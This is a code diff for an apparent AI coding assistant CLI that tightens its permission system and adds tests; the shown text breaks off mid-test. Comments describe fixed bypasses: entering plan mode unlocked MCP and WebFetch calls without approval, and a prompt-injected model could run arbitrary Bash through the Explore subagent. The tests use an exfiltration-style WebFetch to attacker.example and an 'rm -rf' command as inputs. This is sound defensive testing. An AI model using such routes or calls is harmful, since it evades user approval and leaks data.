+      // sampling 可并发创建父记录;最后一次异步准备后等待它,避免写子行或被旧权限覆盖。
+      const pendingPersistence = getPendingSessionPersistence(this);
+      if (pendingPersistence) await pendingPersistence;
+      signal?.throwIfAborted();
       const queueItemIds = projection.pendingSteerInputs.map((item) => item.pendingInputId);
       const previous = readRuntimeExecutionState(this);
       const next = { ...previous, mode: "yolo" as const };
@@ -64,20 +73,22 @@ export async function grantPermissionFullAccess(
         this.rootTraceContext,
       );
       signal?.throwIfAborted();
-      await this.sessionStore.commitPermissionFullAccess({
-        sessionID: this.sessionId,
-        queueItemIds,
-        signal,
-        execution: buildExecutionStateEntry(this.sessionId, next),
-        receipt: {
-          id: receiptId,
+      // 草稿尚无 session 父行;首发会按当前内存配置统一保存,不能为授权提前登记任务。
+      if (this.sessionPersisted)
+        await this.sessionStore.commitPermissionFullAccess({
           sessionID: this.sessionId,
-          type: PERMISSION_FULL_ACCESS_ENTRY,
-          touchSession: false,
-          time: { created: Date.now(), updated: Date.now() },
-          data: { interactionId, event },
-        },
-      });
+          queueItemIds,
+          signal,
+          execution: buildExecutionStateEntry(this.sessionId, next),
+          receipt: {
+            id: receiptId,
+            sessionID: this.sessionId,
+            type: PERMISSION_FULL_ACCESS_ENTRY,
+            touchSession: false,
+            time: { created: Date.now(), updated: Date.now() },
+            data: { interactionId, event },
+          },
+        });
     }
     const payload = event.payload as SessionModeChangedPayload;
     unpublishedPermissionGrants.set(this, {
@@ -85,8 +96,8 @@ export async function grantPermissionFullAccess(
       recover: () => grantPermissionFullAccess.call(this, interactionId),
     });
     const ids = new Set(payload.permissionGrant!.queueItemIds);
-    // 事务已提交:之后即使传输取消也必须完成内存和投影发布,不能制造半个授权。
-    const applied = appliedGrants.get(this) ?? new Set<string>();
+    // 授权从这里同步应用;之后即使传输取消也必须完成投影发布,不能制造半个授权。
+    const applied = appliedGrants.get(this) ?? new Map<string, SessionEvent>();
     if (!applied.has(interactionId)) {
       this.lastPermissionGrantId = interactionId;
       this.config.mode = payload.mode;
@@ -94,7 +105,7 @@ export async function grantPermissionFullAccess(
       for (const item of this.activeTurn?.pendingInputs ?? []) {
         if (ids.has(item.id) && item.intent) item.intent = { ...item.intent, mode: "yolo" };
       }
-      applied.add(interactionId);
+      applied.set(interactionId, event);
       appliedGrants.set(this, applied);
     }
     const existing = (await this.eventStore.getEvents(this.sessionId)).find(

+ 6 - 1
apps/zcode-cli/packages/core/src/runtime/types.ts

@@ -1,5 +1,5 @@
 import type { ToolSearchExecutionContext, ToolSearchMode } from "@zcode/contracts";
-import type { RequestVerificationReason } from "@zcode/shared";
+import type { ExecutionState, RequestVerificationReason } from "@zcode/shared";
 import type { GetAgentDefinitions, LoadAgentDefinitions } from "../subagent/definitions.js";
 import type { RuntimeInputPresentation, TurnExecutionModelFallbackReason } from "@zcode/contracts";
 /* eslint-disable max-lines -- Runtime 类型集中承载 core/runtime 对外结构,拆分需要单独迁移。 */
@@ -281,6 +281,11 @@ export interface ResumeSessionOptions {
    * 必须高于历史 session mode;交互式 resume 未指定时保持 undefined,让历史 mode 生效。
    */
   modeOverride?: CollaborationMode;
+  /**
+   * 调用方已算出的完整执行状态(模式与 Plan),覆盖历史 mode 与落盘的执行状态。子会话恢复时传入:
+   * 子会话模式必须按父会话当前状态重算,不能沿用子会话落盘时的模式。
+   */
+  executionStateOverride?: ExecutionState;
 }
 
 export interface MainTurnCacheHitAggregate {

+ 2 - 1
apps/zcode-cli/packages/core/src/subagent/explore-tools.ts

@@ -1,6 +1,7 @@
 // 对齐文件搜索型子 agent 的工具面。direct branch 会暴露 Glob/Grep;
 // embedded search branch 则通过 Bash find/grep 接管搜索。注意:白名单刻意不含任何
-// 文件写工具(Write/Edit/ApplyPatch),因此 Bash 是唯一的副作用入口,只读语义靠 Explore prompt 约束。
+// 文件写工具(Write/Edit/ApplyPatch),因此 Bash 是唯一的副作用入口。Explore 继承父会话的权限模式与
+// Plan 状态,Bash 是否只读由 shell AST 判定(非只读命令按父会话模式询问或拒绝),prompt 也禁止修改。
 export const EXPLORE_AGENT_ALLOWED_TOOLS = [
   "ToolSearch",
   "DeferredToolCall",

+ 6 - 1
apps/zcode-cli/packages/core/src/tool/executor/permission-flow.ts

@@ -245,10 +245,15 @@ export async function resolveToolPermission(
     }
 
     // 工具预览只能控制普通审批,不能覆盖 Guarded 的单次确认。
-    const approval =
+    const toolApproval =
       decision.approvalMode === "user-once"
         ? { gate: "ask" as const }
         : resolveToolApproval(deps, toolCall, entry, executionInput, traceContext);
+    // 判定自带的选项策略(Plan 下的 MCP 询问)覆盖工具声明的策略。
+    const approval =
+      decision.optionsPolicy && toolApproval.gate === "ask"
+        ? { ...toolApproval, optionsPolicy: decision.optionsPolicy }
+        : toolApproval;
     if (approval.gate === "proceed") {
       telemetry?.setPermissionDecision("not_required");
       return { allowed: true, executionInput, permissionWaitMs };

+ 15 - 0
apps/zcode-cli/packages/core/src/tool/handlers/bash.ts

@@ -424,6 +424,17 @@ async function emitProgressEvent(
   });
 }
 
+function createBashSessionEnv(context: ToolExecutionContext): Record<string, string> {
+  // 工作区根目录是会话创建时的工作目录,不随 `cd` 变化。
+  return {
+    CLAUDE_CODE_SESSION_ID: context.sessionId,
+    CLAUDE_PROJECT_DIR: context.workspaceRoot,
+    CLAUDE_SESSION_ID: context.sessionId,
+    ZCODE_PROJECT_DIR: context.workspaceRoot,
+    ZCODE_SESSION_ID: context.sessionId,
+  };
+}
+
 function createExecutionRequest(
   input: BashInput,
   context: ToolExecutionContext,
@@ -456,6 +467,10 @@ function createExecutionRequest(
       workspaceRoot: context.workspaceRoot,
     }),
     ...(bashPrelude ? { bashPrelude } : {}),
+    // 会话上下文变量与 hooks 的插件环境一致(configured-runner-input.ts createPluginEnvOverlay)。
+    // 自定义命令的 `!` 块改为转交模型经 Bash 执行后,原来由命令解析阶段执行器提供的这组变量
+    // 只能在这里提供;插件脚本在自身进程里读取会话 ID 区分会话,缺了它会跨会话生效。
+    env: { set: createBashSessionEnv(context) },
     captureCwdAfterSuccess: input.run_in_background ? undefined : true,
     timeoutMs: resolveBashTimeoutMs(input.timeout, timeoutPolicy),
     outputLimit: {

+ 37 - 1
apps/zcode-cli/packages/core/tests/bash-handler.test.ts

@@ -364,7 +364,16 @@ describe("bashHandler", () => {
       shellProfile: "posix-bash",
     });
     expect(capturedRequest?.cwd).toBe(projectRoot);
-    expect(capturedRequest?.env).toBeUndefined();
+    // 模型输入不带 env;handler 只设置会话上下文变量。
+    expect(capturedRequest?.env).toEqual({
+      set: {
+        CLAUDE_CODE_SESSION_ID: "sess_test",
+        CLAUDE_PROJECT_DIR: projectRoot,
+        CLAUDE_SESSION_ID: "sess_test",
+        ZCODE_PROJECT_DIR: projectRoot,
+        ZCODE_SESSION_ID: "sess_test",
+      },
+    });
     expect(capturedRequest?.timeoutMs).toBe(123);
     expect(capturedRequest?.outputLimit).toEqual({
       maxInlineBytes: 30_000,
@@ -504,6 +513,33 @@ describe("bashHandler", () => {
     });
   });
 
+  it("keeps the workspace root in session context variables after cd, for background calls too", async () => {
+    const requests: ExecutionRequest[] = [];
+    const executionPort: BashBackgroundLifecycleExecutionPort = {
+      async run(request) {
+        requests.push(request);
+        return executionResult({ status: "completed", exitCode: 0, stdout: "ok\n" });
+      },
+      async runBashWithBackgroundLifecycle(request) {
+        requests.push(request);
+        return { kind: "completed", result: executionResult({ status: "completed", exitCode: 0 }) };
+      },
+    };
+    const context = contextWith(executionPort, {
+      workingDirectory: resolve(projectRoot, "nested"),
+      workspaceRoot: projectRoot,
+    });
+
+    await bashHandler({ command: "echo ok" } satisfies BashInput, context);
+    await bashHandler({ command: "echo ok", run_in_background: true } satisfies BashInput, context);
+
+    expect(requests).toHaveLength(2);
+    for (const request of requests) {
+      expect(request.env?.set?.CLAUDE_PROJECT_DIR).toBe(projectRoot);
+      expect(request.env?.set?.ZCODE_SESSION_ID).toBe("sess_test");
+    }
+  });
+
   it("updates session cwd from successful foreground Bash execution", async () => {
     const nextCwd = resolve(projectRoot, "nested");
     let observedCwd: string | undefined;

+ 29 - 0
apps/zcode-cli/packages/core/tests/guarded-mode.test.ts

@@ -2,6 +2,7 @@ import { describe, expect, it } from "vitest";
 import {
   CronAutomationSchema,
   inheritPermissionMode,
+  restrictPermissionMode,
   type CollaborationMode,
 } from "@zcode/contracts";
 import { PermissionService } from "../src/permission/service.js";
@@ -77,6 +78,34 @@ describe("Guarded is an opt-in mode, not a global gate", () => {
       }
     },
   );
+  // 插件 profile 的 permissionMode 只能收紧:从严到宽 plan、build、edit、guarded、yolo;
+  // auto 未实现,任一方是 auto 时都继承父会话模式。
+  it.each([
+    ["build", "yolo", "build"],
+    ["build", "guarded", "build"],
+    ["build", "edit", "build"],
+    ["build", "build", "build"],
+    ["build", "plan", "plan"],
+    ["build", "auto", "build"],
+    ["plan", "edit", "plan"],
+    ["plan", "yolo", "plan"],
+    ["edit", "yolo", "edit"],
+    ["edit", "build", "build"],
+    ["edit", "plan", "plan"],
+    ["guarded", "yolo", "guarded"],
+    ["guarded", "edit", "edit"],
+    ["yolo", "yolo", "yolo"],
+    ["yolo", "guarded", "guarded"],
+    ["yolo", "plan", "plan"],
+    ["yolo", "auto", "yolo"],
+    ["auto", "plan", "auto"],
+    ["auto", "yolo", "auto"],
+  ] as Array<[CollaborationMode, CollaborationMode, CollaborationMode]>)(
+    "restricting parent %s with child %s yields %s",
+    (parent, child, expected) => {
+      expect(restrictPermissionMode(parent, child)).toBe(expected);
+    },
+  );
   it("requires once approval only in guarded and preserves YOLO baseline for nonmatches", () => {
     const service = new PermissionService();
     for (const mode of ["guarded", "yolo"] as const) {

+ 79 - 10
apps/zcode-cli/packages/core/tests/mcp-runtime.test.ts

@@ -6,6 +6,7 @@ import {
   type McpConnectionSnapshot,
   type McpPort,
   type PermissionBrokerPort,
+  type PermissionBrokerRequest,
   type SessionEventStorePort,
   type SessionId,
 } from "@zcode/contracts";
@@ -272,21 +273,19 @@ describe("AgentRuntime MCP integration", () => {
     expect(toolNames).toContain("mcp__local__ping");
   });
 
-  it("executes non-destructive MCP tools in plan mode without readOnlyHint", async () => {
+  // 修复原因:Plan 曾直接放行非 destructive MCP,比 build 更宽;现在单次询问且不提供始终允许。
+  it("asks once before non-read-only MCP tools run in plan mode", async () => {
     const sessionId = createSessionId("runtime-mcp-plan-mode");
     const eventStore = createTestSessionEventStore();
     let modelCallCount = 0;
     let mcpCallCount = 0;
     let admissionRefreshes = 0;
-    let permissionRequestCount = 0;
+    const permissionRequests: PermissionBrokerRequest[] = [];
 
     const permissionBroker: PermissionBrokerPort = {
-      async requestPermission() {
-        permissionRequestCount++;
-        return {
-          decision: "deny",
-          reason: "permission broker should not be called for plan-mode MCP allow",
-        };
+      async requestPermission(request) {
+        permissionRequests.push(request);
+        return { decision: "allow", reason: "Approved once" };
       },
     };
 
@@ -396,13 +395,81 @@ describe("AgentRuntime MCP integration", () => {
 
     expect(result.response).toBe("done");
     expect(mcpCallCount).toBe(1);
-    expect(permissionRequestCount).toBe(0);
+    expect(permissionRequests).toHaveLength(1);
+    expect(permissionRequests[0]).toMatchObject({
+      optionsPolicy: "no-always-allow",
+      ruleId: "mode.plan.mcp",
+      toolName: "mcp__local__lookup",
+    });
     expect(modelCallCount).toBe(2);
     expect(admissionRefreshes).toBe(1);
     await runtime.executeTurn("next user prompt");
     expect(admissionRefreshes).toBe(2);
   });
 
+  // EnterPlanMode 免确认;进入 Plan 后调用 MCP 仍须用户确认,模型不能借进入 Plan 绕过审批。
+  it("does not let EnterPlanMode unlock MCP tools without approval", async () => {
+    let modelCallCount = 0;
+    let mcpCallCount = 0;
+    const permissionRequests: PermissionBrokerRequest[] = [];
+    const runtime = createTestAgentRuntime(
+      createSessionId("runtime-mcp-enter-plan"),
+      {
+        mode: "build",
+        mcp: { enabled: true, servers: { local: { type: "stdio", command: "node" } } },
+      },
+      {
+        eventStore: createTestSessionEventStore(),
+        permissionBroker: {
+          async requestPermission(request) {
+            permissionRequests.push(request);
+            return { decision: "deny", reason: "denied in test" };
+          },
+        },
+        mcpPort: createMockMcpPort({
+          connectConfiguredServers: async () => ({
+            statuses: {},
+            tools: [{ serverName: "local", toolName: "js", inputSchema: { type: "object" } }],
+          }),
+          callTool: async () => {
+            mcpCallCount++;
+            return { content: [{ type: "text", text: "executed" }] };
+          },
+        }),
+        modelFactory: createTestModelFactory({
+          generateText: async () => {
+            modelCallCount++;
+            const usage = { inputTokens: 1, outputTokens: 1, totalTokens: 2 };
+            if (modelCallCount === 1)
+              return {
+                finishReason: "tool-calls",
+                text: "",
+                toolCalls: [{ id: "enter-plan", name: "EnterPlanMode", input: {} }],
+                usage,
+              };
+            if (modelCallCount === 2)
+              return {
+                finishReason: "tool-calls",
+                text: "",
+                toolCalls: [{ id: "mcp-js", name: "mcp__local__js", input: { code: "x" } }],
+                usage,
+              };
+            return { finishReason: "stop", text: "done", usage };
+          },
+        }),
+      },
+    );
+
+    await runtime.executeTurn("plan then run");
+
+    expect(permissionRequests).toHaveLength(1);
+    expect(permissionRequests[0]).toMatchObject({
+      ruleId: "mode.plan.mcp",
+      toolName: "mcp__local__js",
+    });
+    expect(mcpCallCount).toBe(0);
+  });
+
   it.each([
     ["user_steer", false],
     ["user_steer", true],
@@ -418,7 +485,9 @@ describe("AgentRuntime MCP integration", () => {
       const runtime = createTestAgentRuntime(
         createSessionId(`mcp-admission-${inputPresentation}`),
         {
-          mode: "plan",
+          // 用 yolo 让 MCP 工具免审批执行;本用例只验证 admission 刷新,不验证权限。
+          // 原先借 plan 放行 readOnlyHint MCP,plan 现在交给原模式判定,build 会请求审批。
+          mode: "yolo",
           mcp: { enabled: true, servers: { local: { type: "stdio", command: "node" } } },
         },
         {

+ 35 - 0
apps/zcode-cli/packages/core/tests/permission-full-access.test.ts

@@ -14,6 +14,7 @@ function fixture() {
   let receipt: unknown;
   const runtime = {
     sessionId: "session",
+    sessionPersisted: true,
     config: { mode: "edit", planEnabled: true },
     rootTraceContext: {},
     pendingInputReservations: new Map(),
@@ -50,6 +51,40 @@ function fixture() {
 }
 
 describe("审批框完全访问", () => {
+  it("草稿只授权内存,发布失败重试复用原事件,不覆盖后来的模式", async () => {
+    const { runtime, grant } = fixture();
+    runtime.sessionPersisted = false;
+    runtime.rebuildProjection.mockResolvedValue({ pendingSteerInputs: [] });
+    runtime.activeTurn.pendingInputs = [];
+    const published: unknown[] = [];
+    runtime.createEvent.mockImplementation((type, payload) => ({
+      id: `event-${runtime.createEvent.mock.calls.length}`,
+      type,
+      payload,
+      sessionId: "session",
+      traceId: "trace",
+      timestamp: new Date(),
+      sequenceNumber: 0,
+    }));
+    runtime.appendEvent.mockRejectedValueOnce(new Error("event failed"));
+    await expect(grant()).rejects.toThrow("event failed");
+    expect(runtime.config.mode).toBe("yolo");
+    runtime.appendEvent.mockImplementation(async (event) => {
+      published.push(event);
+    });
+    runtime.eventStore.getEvents.mockImplementation(async () => published);
+    await applyRuntimeExecutionState(
+      runtime as unknown as AgentRuntimeInternal,
+      { mode: "build", planEnabled: false },
+      { source: "command" },
+    );
+    await grant();
+    expect(runtime.sessionStore.commitPermissionFullAccess).not.toHaveBeenCalled();
+    expect(runtime.createEvent).toHaveBeenCalledTimes(2);
+    expect(runtime.appendEvent.mock.calls[0]?.[0]).toBe(runtime.appendEvent.mock.calls[1]?.[0]);
+    expect(published).toHaveLength(2);
+    expect(runtime.config).toEqual({ mode: "build", planEnabled: false });
+  });
   it("保留 Runtime 和每项 Plan,只更新本次目标队列权限", async () => {
     const { runtime, grant } = fixture();
     await grant();

+ 163 - 5
apps/zcode-cli/packages/core/tests/permission-service.test.ts

@@ -329,7 +329,9 @@ describe("PermissionService mode policy", () => {
     }
   });
 
-  it("allows non-destructive MCP tools in plan mode without requiring readOnly metadata", () => {
+  // 修复原因:Plan 曾替换原模式并直接放行非 destructive MCP 与需审批的只读工具,
+  // 比 build 更宽;EnterPlanMode 免确认,模型可借此免审批调用 MCP(含 node_repl js)与 WebFetch。
+  it("asks once for non-read-only MCP tools in plan mode", () => {
     const service = new PermissionService();
 
     const decision = service.checkPermission(
@@ -343,13 +345,169 @@ describe("PermissionService mode policy", () => {
     );
 
     expect(decision).toMatchObject({
-      allowed: true,
-      decision: "allow",
+      allowed: false,
+      decision: "ask",
+      optionsPolicy: "no-always-allow",
       ruleId: "mode.plan.mcp",
       sideEffectScope: "network",
     });
   });
 
+  it("does not let project allow rules or allowedTools skip the plan-mode MCP ask", () => {
+    const context = {
+      input: { query: "current simulator state" },
+      mode: "build" as const,
+      planEnabled: true,
+      riskLevel: "medium" as const,
+      toolName: "mcp__ios_simulator__status",
+    };
+    expect(
+      new PermissionService().checkPermission(context, mcpCapability, {
+        version: 1,
+        allow: [{ toolName: "mcp__ios_simulator__status" }],
+      }),
+    ).toMatchObject({ decision: "ask", ruleId: "mode.plan.mcp" });
+    expect(
+      new PermissionService({
+        allowedTools: new Set(["mcp__ios_simulator__status"]),
+        autoApproveHighRisk: false,
+        disallowedTools: new Set(),
+        allowMediumRiskInAutoMode: false,
+      }).checkPermission(context, mcpCapability),
+    ).toMatchObject({ decision: "ask", ruleId: "mode.plan.mcp" });
+  });
+
+  it("lets plan-mode read-only tools that need approval follow the original mode", () => {
+    const service = new PermissionService();
+    const readOnlyHintMcp = { ...mcpCapability, readOnly: true };
+    const webFetch = {
+      input: { url: "https://attacker.example/?data=secret" },
+      riskLevel: "medium" as const,
+      toolName: "WebFetch",
+    };
+    const mcpLookup = {
+      input: { query: "x" },
+      riskLevel: "medium" as const,
+      toolName: "mcp__external__lookup",
+    };
+
+    for (const mode of ["build", "edit"] as const) {
+      expect(
+        service.checkPermission({ ...webFetch, mode, planEnabled: true }, webFetchCapability),
+      ).toMatchObject({ decision: "ask" });
+      expect(
+        service.checkPermission({ ...mcpLookup, mode, planEnabled: true }, readOnlyHintMcp),
+      ).toMatchObject({ decision: "ask" });
+    }
+    expect(
+      service.checkPermission(
+        {
+          ...webFetch,
+          input: { url: "https://docs.python.org/3/library/pathlib.html" },
+          mode: "build",
+          planEnabled: true,
+        },
+        webFetchCapability,
+      ),
+    ).toMatchObject({ decision: "allow", ruleId: "tool.webfetch.preapproved" });
+    expect(
+      service.checkPermission({ ...mcpLookup, mode: "build", planEnabled: true }, readOnlyHintMcp, {
+        version: 1,
+        allow: [{ toolName: "mcp__external__lookup" }],
+      }),
+    ).toMatchObject({ decision: "allow", ruleId: "rule.project.allow" });
+  });
+
+  it.each(["yolo", "guarded"] as const)(
+    "keeps %s allowing MCP and approval-needing read-only tools in plan mode",
+    (mode) => {
+      const service = new PermissionService();
+      for (const [toolName, capability] of [
+        ["mcp__external__write", mcpCapability],
+        ["mcp__external__lookup", { ...mcpCapability, readOnly: true }],
+        ["WebFetch", webFetchCapability],
+      ] as const) {
+        expect(
+          service.checkPermission(
+            { input: {}, mode, planEnabled: true, riskLevel: "medium", toolName },
+            capability,
+          ),
+        ).toMatchObject({ decision: "allow" });
+      }
+      expect(
+        service.checkPermission(
+          { input: {}, mode, planEnabled: true, riskLevel: "high", toolName: "mcp__device__reset" },
+          destructiveMcpCapability,
+        ),
+      ).toMatchObject({ decision: "deny", ruleId: "mode.plan.nonReadOnly" });
+    },
+  );
+
+  // 修复原因:guarded 的单次确认分支带 !planEnabled,开着 Plan 时被整个跳过,闸门之后又补回
+  // guarded 放行;危险命令规则一旦匹配到能通过闸门的工具,guarded + Plan 就会免确认执行。
+  it("keeps the guarded single-use approval after the plan gate", () => {
+    const service = new PermissionService();
+    for (const [toolName, capability] of [
+      ["Read", { ...readCapability, userApprovalRule: "safety.test.rule" }],
+      ["mcp__external__write", { ...mcpCapability, userApprovalRule: "safety.test.rule" }],
+    ] as const) {
+      expect(
+        service.checkPermission(
+          { input: {}, mode: "guarded", planEnabled: true, riskLevel: "high", toolName },
+          capability,
+        ),
+      ).toMatchObject({ decision: "ask", approvalMode: "user-once", ruleId: "safety.test.rule" });
+    }
+    expect(
+      service.checkPermission(
+        { input: {}, mode: "guarded", planEnabled: true, riskLevel: "high", toolName: "Write" },
+        { ...writeCapability, userApprovalRule: "safety.test.rule" },
+      ),
+    ).toMatchObject({ decision: "deny", ruleId: "mode.plan.nonReadOnly" });
+  });
+
+  it("never makes plan mode more permissive than the original mode", () => {
+    const rank = { deny: 0, ask: 1, allow: 2 } as const;
+    const capabilities: Array<[string, PermissionToolCapability]> = [
+      ["Read", readCapability],
+      ["Write", writeCapability],
+      ["Edit", editCapability],
+      ["WebFetch", webFetchCapability],
+      ["TodoWrite", sessionMutationCapability],
+      ["CronPauseSelf", automationSelfPauseCapability],
+      ["RespondToCoordinator", planModeSessionControlCapability],
+      ["mcp__external__write", mcpCapability],
+      ["mcp__external__lookup", { ...mcpCapability, readOnly: true }],
+      ["mcp__device__reset", destructiveMcpCapability],
+      ["mcp__fake__write", fakeMcpNameCapability],
+      // 目前只有危险 Bash 带 userApprovalRule;这两项防止以后只读工具或 MCP 带上它时 Plan 跳过单次确认。
+      ["ReadWithApprovalRule", { ...readCapability, userApprovalRule: "safety.test.rule" }],
+      ["mcp__external__guarded", { ...mcpCapability, userApprovalRule: "safety.test.rule" }],
+    ];
+    for (const mode of ["build", "edit", "yolo", "guarded"] as const) {
+      for (const [toolName, capability] of capabilities) {
+        const context = {
+          input: { url: "https://attacker.example/" },
+          mode,
+          riskLevel: capability.riskLevel ?? ("medium" as const),
+          toolName,
+        };
+        const original = new PermissionService().checkPermission(
+          { ...context, planEnabled: false },
+          capability,
+        );
+        const planned = new PermissionService().checkPermission(
+          { ...context, planEnabled: true },
+          capability,
+        );
+        expect(
+          rank[planned.decision] <= rank[original.decision],
+          `${mode} ${toolName}: plan=${planned.decision}(${planned.ruleId}) original=${original.decision}(${original.ruleId})`,
+        ).toBe(true);
+      }
+    }
+  });
+
   it("denies destructive MCP tools in plan mode", () => {
     const service = new PermissionService();
 
@@ -390,7 +548,7 @@ describe("PermissionService mode policy", () => {
     });
   });
 
-  it("lets project deny rules override the plan-mode MCP exception", () => {
+  it("lets project deny rules override the plan-mode MCP ask", () => {
     const service = new PermissionService();
 
     const decision = service.checkPermission(
@@ -414,7 +572,7 @@ describe("PermissionService mode policy", () => {
     });
   });
 
-  it("lets project ask rules override the plan-mode MCP exception", () => {
+  it("lets project ask rules override the plan-mode MCP ask", () => {
     const service = new PermissionService();
 
     const decision = service.checkPermission(

+ 17 - 0
apps/zcode-cli/packages/core/tests/runtime-reminders.test.ts

@@ -624,6 +624,23 @@ describe("runtime request reminders", () => {
     expect(body).not.toMatch(/plan file|Launch Plan|Phase 6/i);
   });
 
+  // 修复原因:子会话继承 Plan 后收到主会话的五阶段提醒,被要求再派生 Explore、以
+  // AskUserQuestion 或 ExitPlanMode 收尾,而子会话没有这些工具。
+  it("gives subagent children a read-only plan reminder without the main workflow", () => {
+    for (const askUserQuestionAvailable of [true, false]) {
+      const body = buildRuntimeModeReminderBody([], "build", true, { askUserQuestionAvailable })!;
+      expect(body).toContain("Plan mode is active.");
+      expect(body).toContain("read-only");
+      expect(body).not.toMatch(/### Phase|ExitPlanMode|Explore agents|should only end with/);
+      if (askUserQuestionAvailable) expect(body).toContain("AskUserQuestion");
+      else expect(body).not.toContain("AskUserQuestion");
+    }
+    expect(
+      buildRuntimeModeReminderBody([], "build", false, { askUserQuestionAvailable: true }),
+    ).toBeNull();
+    expect(buildRuntimeModeReminderBody([], "plan")).toContain("### Phase 5: Call ExitPlanMode");
+  });
+
   it("builds model anomaly reminder bodies without wrapping", () => {
     const budgetBody = buildToolCallBudgetReminderBody(42);
     const repeatedBody = buildRepeatedToolCallReminderBody("Read", 3);

+ 444 - 0
apps/zcode-cli/packages/core/tests/subagent-explore-permission-mode.test.ts

@@ -0,0 +1,444 @@
+import { mkdtemp } from "node:fs/promises";
+import { tmpdir } from "node:os";
+import { join } from "node:path";
+import { describe, expect, it } from "vitest";
+import {
+  createSessionId,
+  createTraceId,
+  createTurnId,
+  type CollaborationMode,
+  type ExecutionPort,
+  type HttpClientPort,
+  type PermissionBrokerRequest,
+} from "@zcode/contracts";
+import { PermissionService, defaultPermissionConfig } from "../src/permission/service.js";
+import { createTestAgentRuntime } from "./test-agent-runtime.js";
+import { createTestModelFactory } from "./test-runtime-model.js";
+import { createTestSessionEventStore } from "./test-event-store.js";
+import { createRecordingSubagentSessionStore } from "./subagent-test-store.js";
+
+// 修复原因:内置 Explore 曾固定以 yolo 和独立权限服务运行,只靠 prompt 约束只读;提示注入后
+// 模型可经 Agent(Explore) 在 build 或 Plan 父会话下免审批执行任意 Bash。现在继承父会话模式与 Plan 状态。
+type ChildToolCall =
+  | { name: "Bash"; input: { command: string } }
+  | {
+      name: "WebFetch";
+      input: { url: string; prompt: string };
+    };
+
+async function runExploreChild(input: {
+  mode: CollaborationMode;
+  planEnabled?: boolean;
+  call: ChildToolCall;
+  permissionService?: PermissionService;
+}) {
+  const executedCommands: string[] = [];
+  const fetchedUrls: string[] = [];
+  const requests: PermissionBrokerRequest[] = [];
+  const childToolResults: string[] = [];
+  const childRequests: string[] = [];
+  let mainCalls = 0;
+  let childCalls = 0;
+  const executionPort: ExecutionPort = {
+    async run(request) {
+      executedCommands.push(JSON.stringify(request.command));
+      const now = new Date();
+      return {
+        status: "completed",
+        exitCode: 0,
+        stdout: { text: "ok", bytes: 2, truncated: false },
+        stderr: { text: "", bytes: 0, truncated: false },
+        durationMs: 1,
+        timedOut: false,
+        cancelled: false,
+        startedAt: now,
+        completedAt: now,
+      };
+    },
+  } as ExecutionPort;
+  const body = new TextEncoder().encode("<html><body>page</body></html>");
+  const httpClientPort: HttpClientPort = {
+    async request(request) {
+      fetchedUrls.push(request.url);
+      return {
+        body,
+        bytes: body.byteLength,
+        durationMs: 1,
+        headers: { "content-type": "text/html; charset=utf-8" },
+        status: 200,
+        statusText: "OK",
+        url: request.url,
+      };
+    },
+  };
+  const runtime = createTestAgentRuntime(
+    createSessionId(`explore-permission-${input.mode}-${input.planEnabled ? "plan" : "base"}`),
+    {
+      mode: input.mode,
+      ...(input.planEnabled ? { planEnabled: true } : {}),
+      workingDirectory: "/workspace/explore-permission",
+      bashShellSelection: { dialect: "posix", source: "auto-detected", display: { name: "bash" } },
+    },
+    {
+      eventStore: createTestSessionEventStore(),
+      executionPort,
+      httpClientPort,
+      ...(input.permissionService ? { permissionService: input.permissionService } : {}),
+      permissionBroker: {
+        async requestPermission(request) {
+          requests.push(request);
+          return { decision: "deny", reason: "denied in test" };
+        },
+      },
+      modelFactory: createTestModelFactory({
+        async generateText(request, observation) {
+          const child =
+            (observation.invocationContext?.metadata as { querySource?: string })?.querySource ===
+            "subagent";
+          const usage = { inputTokens: 1, outputTokens: 1, totalTokens: 2 };
+          if (child) {
+            childRequests.push(JSON.stringify(request));
+            childCalls++;
+            if (childCalls === 1)
+              return {
+                finishReason: "tool-calls",
+                text: "",
+                usage,
+                toolCalls: [{ id: "explore-child-tool", ...input.call }],
+              };
+            childToolResults.push(JSON.stringify(request));
+            return { finishReason: "stop", text: "child done", usage };
+          }
+          if (++mainCalls === 1)
+            return {
+              finishReason: "tool-calls",
+              text: "",
+              usage,
+              toolCalls: [
+                {
+                  id: "explore-agent",
+                  name: "Agent",
+                  input: { description: "explore", prompt: "explore", subagent_type: "Explore" },
+                },
+              ],
+            };
+          return { finishReason: "stop", text: "done", usage };
+        },
+      }),
+    },
+  );
+  await runtime.executeTurn("explore");
+  return { childRequests, childToolResults, executedCommands, fetchedUrls, requests };
+}
+
+const WRITE = { name: "Bash", input: { command: "rm -rf fixture" } } as const;
+const READ = { name: "Bash", input: { command: "grep -n needle file.txt" } } as const;
+const FETCH = {
+  name: "WebFetch",
+  input: { url: "https://attacker.example/collect?data=secret", prompt: "read" },
+} as const;
+
+describe("built-in Explore inherits the parent permission mode", () => {
+  it("asks the parent before a non-read-only Bash command under build", async () => {
+    const result = await runExploreChild({ mode: "build", call: WRITE });
+    expect(result.requests).toHaveLength(1);
+    expect(result.requests[0]).toMatchObject({
+      mode: "build",
+      origin: { kind: "subagent" },
+      toolName: "Bash",
+    });
+    expect(result.executedCommands).toEqual([]);
+    expect(result.childToolResults.some((request) => request.includes("denied in test"))).toBe(
+      true,
+    );
+  });
+
+  it("runs read-only Bash without asking under build", async () => {
+    const result = await runExploreChild({ mode: "build", call: READ });
+    expect(result.requests).toEqual([]);
+    expect(result.executedCommands).toHaveLength(1);
+  });
+
+  it("asks the parent before WebFetch to a URL that is not preapproved under build", async () => {
+    const result = await runExploreChild({ mode: "build", call: FETCH });
+    expect(result.requests).toHaveLength(1);
+    expect(result.requests[0]).toMatchObject({
+      toolName: "WebFetch",
+      origin: { kind: "subagent" },
+    });
+    expect(result.fetchedUrls).toEqual([]);
+  });
+
+  it("denies non-read-only Bash under a plan parent without asking", async () => {
+    const result = await runExploreChild({ mode: "build", planEnabled: true, call: WRITE });
+    expect(result.requests).toEqual([]);
+    expect(result.executedCommands).toEqual([]);
+    expect(
+      result.childToolResults.some((request) =>
+        request.includes("Plan mode only allows read-only, non-destructive tools"),
+      ),
+    ).toBe(true);
+  });
+
+  it("gives Explore the read-only plan reminder, not the main plan workflow", async () => {
+    const result = await runExploreChild({ mode: "build", planEnabled: true, call: READ });
+    expect(result.childRequests[0]).toContain("Plan mode is active.");
+    expect(result.childRequests[0]).not.toMatch(/ExitPlanMode|### Phase|Explore agents/);
+  });
+
+  it("still runs read-only Bash under a plan parent", async () => {
+    const result = await runExploreChild({ mode: "build", planEnabled: true, call: READ });
+    expect(result.requests).toEqual([]);
+    expect(result.executedCommands).toHaveLength(1);
+  });
+
+  it("keeps a yolo parent running Explore Bash without approval", async () => {
